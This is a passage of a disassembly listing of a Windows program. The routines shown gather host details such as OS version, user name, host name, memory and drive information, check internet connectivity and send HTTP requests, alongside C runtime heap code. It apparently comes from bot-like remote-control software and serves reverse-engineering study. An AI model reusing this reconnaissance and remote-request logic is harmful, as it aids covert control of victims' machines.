		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
FullPath	= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
Dest		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
Dst		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Drive		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43D808
		mov	[ebp+var_CC], 94h
		call	ds:dword_4270C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset a95	; "95"


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+var_4]
		push	offset aSS_5	; "%s (%s)"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+FullPath]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_427104	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_427100	; GetTimeFormatA
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		call	ds:dword_427194	; GlobalMemoryStatus
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Drive]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset asc_43A720 ; "-"
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
					; sub_401ACD+72F6p

Dst		= byte ptr -8Ch
var_C		= byte ptr -0Ch
Dest		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+Dst]
		push	offset aNotConnected ; "Not connected"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset aDialUp	; "Dial-up"
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset dword_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+Dest]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	esi		; Format


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	offset asc_43A828 ; "-"
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= dword	ptr -55Ch
var_35C		= dword	ptr -35Ch
Str		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
Dest		= byte ptr -1C8h
Dst		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
Source		= dword	ptr -38h
Count		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Dest]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+var_C8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	100h		; Size
		lea	eax, [ebp+var_65C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+Count], esi
		push	eax
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	dword_4CB550	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+Count], ebx
		jbe	short loc_41AE8D
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]	; Count
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]	; Count
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]	; Count
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset asc_43A8E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset asc_43A88C ; "-"


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx		; int
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]	; int
		push	eax		; int
		lea	eax, [ebp+var_258]
		push	eax		; Str
		push	[ebp+var_35C]	; int
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4CB688	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed

; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	___sbh_find_block
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		call	ds:dword_427140	; RtlFreeHeap


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp

; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B202(void *Src,size_t Size)

sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; __onexit+35p	...

var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+Src], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+Size]	; Size
		call	_malloc
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+Size]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+Src]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+Src]
		call	___sbh_find_block
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+Src]
		push	esi
		push	edi
		push	ebx
		call	___sbh_resize_block
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	___sbh_alloc_block
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+Src]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax		; Size
		push	ebx		; Src
		push	edi		; Dst
		call	_memcpy
		push	ebx
		call	___sbh_find_block
		push	[ebp+Src]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		call	ds:dword_427144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+Src]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax		; Size
		push	ecx		; Src
		push	edi		; Dst
		call	_memcpy
		push	[ebp+Src]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+Src]
		push	0
		push	dword_4DCFE4
		call	ds:dword_427198	; RtlReAllocateHeap
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	__callnewh
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+Size]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+Src]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+Size]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+Src]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		push	ebx
		push	[ebp+Size]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		call	ds:dword_427144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		push	ebx
		push	[ebp+Size]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+Src]
		push	0
		push	dword_4DCFE4
		call	ds:dword_427198	; RtlReAllocateHeap
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	__callnewh
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+Src]
		push	0
		push	dword_4DCFE4
		call	ds:dword_427198	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	__callnewh
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp

; [00000020 BYTES: COLLAPSED FUNCTION __fsopen.	PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: __nh_malloc+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	___sbh_alloc_block
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		call	ds:dword_427144	; RtlAllocateHeap


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
